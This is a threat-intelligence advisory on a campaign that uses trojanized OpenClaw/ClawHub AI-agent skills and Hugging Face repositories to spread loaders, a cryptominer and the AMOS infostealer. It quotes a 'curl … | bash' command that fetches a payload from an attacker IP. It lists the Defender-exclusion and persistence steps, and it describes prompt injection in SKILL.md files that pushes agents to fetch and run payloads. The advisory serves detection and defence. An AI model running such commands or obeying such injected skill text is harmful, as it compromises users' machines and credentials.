# AI Supply Chain Abuse — 575 Trojanized OpenClaw/ClawHub Skills + Hugging Face Malware Staging (Acronis TRU)

> Acronis Threat Research Unit (TRU) disclosed an active in-the-wild AI supply chain campaign abusing OpenClaw/ClawHub and Hugging Face to distribute malware. Researchers identified 575 malicious OpenClaw skills published by 13 developer accounts (top actors hightower6eu — 334 skills, sakaen736jih — 199 skills) targeting Windows and macOS, delivering trojan loaders, a VMProtect-packed cryptominer beaconing to velvet-parrot[.]com:443, and AMOS Stealer (macOS infostealer). Two parallel Hugging Face campaigns (ITHKRPAW — January 2026, financial sector / Vietnam, and FAKESECURITY — January 2026, Defender impersonation) abuse dataset/Space repos to host multistage droppers. Novel technique: indirect prompt injection inside SKILL.md files instructing AI agents and developers to fetch and execute password-protected payloads.

- **Published:** 2026-05-01T12:00:00Z
- **Last reviewed:** 2026-08-22T16:43:56.773Z
- **Canonical:** https://intel.threadlinqs.com/threat/TL-2026-0447
- **ID:** TL-2026-0447
- **Severity:** HIGH
- **Category:** SUPPLY_CHAIN
- **Status:** ACTIVE
- **Actor:** ITHKR
- **Detections:** 9 · **IOCs:** 40 (full data via the Threadlinqs MCP server — Purple tier)

## Description

Acronis TRU's 30 April 2026 disclosure documents the first large-scale weaponization of the AI agent skill ecosystem as a malware distribution channel, paralleled by abuse of Hugging Face dataset/Space repositories as staging infrastructure. The campaign spans two distinct but overlapping intrusion sets and fundamentally redefines the supply-chain threat surface for organizations adopting AI agents.

OpenClaw / ClawHub Skill Poisoning — Acronis identified 575 trojanized skills published to ClawHub across 13 developer accounts. Two accounts dominate the corpus: hightower6eu (334 skills, 58.09%) and sakaen736jih (199 skills, 34.61%), together responsible for 92.7% of malicious uploads. Skills are published with attractive names and well-crafted README content to maximize installation by developers and AI agents searching the marketplace. The SKILL.md payload contains either indirect prompt injection text (designed to coerce the consuming AI agent into executing instructions on the developer's behalf) or social-engineered instructions urging the user to install a fake 'OpenClawDriver' or 'ClawHub-DependencyInstaller' from an external GitHub release.

Windows Kill Chain — On Windows, the dropper is a password-protected ZIP archive (e.g., ClawHub-DependencyInstaller.zip — SHA256 fd3d52c2bb3764aabfe4da301967bfbc18e1c062d5dad2e9f4c3b6b6cf0ec9f8) hosted on attacker-controlled GitHub release pages (hedefbari/openclaw-agent, Ddoy233/openclawcli, denboss99/openclaw-core, toolitletolate/openclaw_windriver). The archive yields a VMProtect-packed loader (ClawHub-DependencyInstaller.exe — SHA256 89930bd18e0f9c9c98dfb1662cb87aa98348e87164ab62b1f39e86ebf2ce24cb) employing a 30-byte XOR string-decryption routine and dynamic NT/bcrypt API resolution via LdrGetProcedureAddress (NtCreateFile, NtAllocateVirtualMemory, BCryptDecrypt, BCryptOpenAlgorithmProvider). The loader reads an embedded encrypted payload, RtlDecompressBufferEx-decompresses, AES-CBC decrypts with an embedded key, allocates RWX memory via NtAllocateVirtualMemory, and executes via remote thread — yielding the cryptominer payload (SHA256 c7b93b6facfc23f49e35e81dc9c30cc69401b8245eeb7c032fc13656cd7e101f).

Persistence is achieved through hidden APPDATA staging directories named to mimic legitimate Microsoft components (MicrosoftOfficeBroker, Microsoft.Windows.PeopleExperienceHost_*) with attrib +h +s, two scheduled tasks named 'WindowsSystemService' and 'RuntimeBrokerService' configured /sc onlogon /rl highest, and aggressive Defender neutralization via reg add to Defender exclusion paths combined with Add-MpPreference -ExclusionPath / -ExclusionProcess and gpupdate /force. C2 occurs over HTTPS to velvet-parrot[.]com:443 using AES-CBC encryption (Net.WebClient UploadData) with the IV embedded in the first 16 bytes of each request; responses are decrypted and written as svchost.exe or RuntimeBroker.exe. A Telegram bot at t[.]me/dusty_vintage acts as a dead-drop resolver (DDR) that hides the operational C2 endpoint from passive analysis.

macOS Kill Chain — On macOS, the SKILL.md echoes a decoy 'Setup-Wizard:' URL (install.app-distribution[.]net) before base64-decoding and executing a bash one-liner of the form 'curl -fsSL http://91.92.242[.]30/<id> | bash'. The dropper changes to $TMPDIR, downloads the next stage with curl -O, clears the macOS quarantine attribute via xattr -c, chmods +x, and executes — delivering AMOS Stealer (SHA256 f0a54f2b44e557854b0a5001c4e10185884af945814786f78b86539014f78a16), a widely sold macOS infostealer that targets browser credentials, cookies, crypto wallets, and Keychain. Three intermediary URLs — glot.io/snippets/hfdxv8uyaf, glot.io/snippets/hfd3x9ueu5, and rentry.co/openclaw-core — host the install instructions designed to look like legitimate community documentation.

Hugging Face — ITHKRPAW Campaign — In January 2026 Acronis observed a parallel intrusion targeting the Vietnamese financial sector. The lure is a Vietnamese-language LNK 'Bao_Cao_Tai_Chinh_2024.pdf.lnk' (financial report PDF — SHA256 b5da6ffa5f85aa5016fbc02a3122361c85d21192c45df9544099d13e6ff84c36) that invokes a PowerShell dropper hosted on Cloudflare Workers. The dropper retrieves omni-agent-v4.exe from a Hugging Face dataset repository, renames it locally as microsoft-update-assist.exe, and opens a decoy cat image from the same Hugging Face repo to maintain user trust. PowerShell comments authored in Vietnamese with stylistic LLM hallmarks suggest LLM-assisted tooling (moderate confidence). Operator alias attributed by Acronis: 'ITHKR'.

Hugging Face — FAKESECURITY Campaign — Also from January 2026, an opportunistic Windows Defender impersonation campaign begins with CDC1.bat (SHA256 e84b1e2c432b2394c403b524b8361ffa9923a022eb05215f1dc811bc167c3c5e), an encoded PowerShell wrapper that pulls xt53.bat (SHA256 d42aecf76fb1531cd5b7139e669910b2fd82a90b7e11448128e226775bf5d42e) from a Hugging Face account owned by '2i7j732ddi'. The multistage chain stages files in %APPDATA%\Microsoft\OQvoig1QLXmD, strips the Mark-of-the-Web Zone.Identifier ADS, and registers HKCU\...\Run value '5PthNvuYXu' for persistence. A base64 blob delimited by the marker '::rusy4bgJy8LXXbkz::' decodes to a PowerShell loader that creates a single-instance mutex 'was_s2Pd8zz_Mtx', single-byte-XOR (key 0xF1) decrypts shellcode, allocates memory inside explorer.exe via NtAllocateVirtualMemory, and uses CreateRemoteThread to inject; a watchdog reinjects whenever Explorer is restarted. Final payload: WindowsDefender.exe (SHA256 462af0a3a9094d44c30cc65544ec1171a62365cff09e67f5e87e061a3d604bd0) impersonating Windows Security to maintain persistence.

Defensive Implications — This is the first publicly documented campaign weaponizing AI agent skills at scale. Three doctrinal shifts are warranted: (1) treat AI-skill marketplaces as untrusted code-execution surfaces requiring the same supply-chain controls as PyPI / npm (provenance, signing, account-age gating, sandboxed install); (2) assume that any consumed SKILL.md / dataset README / system prompt may contain indirect prompt injection — reject content-driven tool-use from untrusted sources; (3) monitor Hugging Face and Cloudflare Workers domains as commodity malware staging hosts, not just research infrastructure. Detection priorities: outbound HTTPS to velvet-parrot[.]com, curl-fed bash on macOS originating from $TMPDIR, schtasks creation for 'WindowsSystemService' / 'RuntimeBrokerService', Add-MpPreference Defender exclusions, CreateRemoteThread into explorer.exe, and the 'was_s2Pd8zz_Mtx' mutex.

## MITRE ATT&CK

- T1583 Acquire Infrastructure
- T1583.006 Acquire Infrastructure: Web Services
- T1585.001 Establish Accounts: Social Media Accounts
- T1608.001 Stage Capabilities: Upload Malware
- T1608.002 Stage Capabilities: Upload Tool
- T1195.002 Supply Chain Compromise: Compromise Software Supply Chain
- T1566.002 Phishing: Spearphishing Link
- T1566.001 Phishing: Spearphishing Attachment
- T1059.001 Command and Scripting Interpreter: PowerShell
- T1059.003 Command and Scripting Interpreter: Windows Command Shell
- T1059.004 Command and Scripting Interpreter: Unix Shell
- T1204.002 User Execution: Malicious File
- T1204.001 User Execution: Malicious Link
- T1053.005 Scheduled Task/Job: Scheduled Task
- T1547.001 Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder
- T1055.002 Process Injection: Portable Executable Injection
- T1055.003 Process Injection: Thread Execution Hijacking
- T1685 Disable or Modify Tools
- T1027.002 Obfuscated Files or Information: Software Packing
- T1027.013 Obfuscated Files or Information: Encrypted/Encoded File
- T1140 Deobfuscate/Decode Files or Information
- T1564.004 Hide Artifacts: NTFS File Attributes
- T1564.001 Hide Artifacts: Hidden Files and Directories
- T1036.005 Match Legitimate Resource Name or Location
- T1555.003 Credentials from Password Stores: Credentials from Web Browsers
- T1555.001 Credentials from Password Stores: Keychain
- T1082 System Information Discovery
- T1005 Data from Local System
- T1071.001 Application Layer Protocol: Web Protocols
- T1573.001 Encrypted Channel: Symmetric Cryptography
- T1102.001 Web Service: Dead Drop Resolver
- T1102.002 Web Service: Bidirectional Communication
- T1105 Ingress Tool Transfer
- T1041 Exfiltration Over C2 Channel
- T1496 Resource Hijacking
- T1106 Native API
- T1055.012 Process Injection: Process Hollowing
- T1562.001 Impair Defenses: Disable or Modify Tools
- AML.T0051.001 LLM Prompt Injection: Indirect
- AML.T0010.001 AI Supply Chain Compromise: AI Software

## Sources

- [Poisoning the well: AI supply chain attacks on Hugging Face and OpenClaw](https://www.acronis.com/en/tru/posts/poisoning-the-well-ai-supply-chain-attacks-on-hugging-face-and-openclaw/)
- [Acronis TRU — Threat Research Unit homepage](https://www.acronis.com/en/tru/)
- [MITRE ATT&CK T1195.002 — Compromise Software Supply Chain](https://attack.mitre.org/techniques/T1195/002/)
- [MITRE ATT&CK T1059.001 — PowerShell](https://attack.mitre.org/techniques/T1059/001/)
- [MITRE ATT&CK T1055.002 — Process Injection: Portable Executable Injection](https://attack.mitre.org/techniques/T1055/002/)
- [MITRE ATT&CK T1562.001 — Impair Defenses: Disable or Modify Tools](https://attack.mitre.org/techniques/T1562/001/)
- [MITRE ATT&CK T1053.005 — Scheduled Task/Job: Scheduled Task](https://attack.mitre.org/techniques/T1053/005/)
- [OWASP Top 10 for LLM Applications — LLM01: Prompt Injection](https://owasp.org/www-project-top-10-for-large-language-model-applications/)
- [AMOS Stealer (Atomic macOS Stealer) malware family overview](https://malpedia.caad.fkie.fraunhofer.de/details/osx.atomic_stealer)
- [VMProtect — commercial software protector frequently abused for malware packing](https://attack.mitre.org/techniques/T1027/002/)

## Full data

Detection queries (Splunk SPL / Microsoft KQL / Sigma) and IOC values require the Threadlinqs MCP server (Purple tier): https://intel.threadlinqs.com/mcp

Canonical: https://intel.threadlinqs.com/threat/TL-2026-0447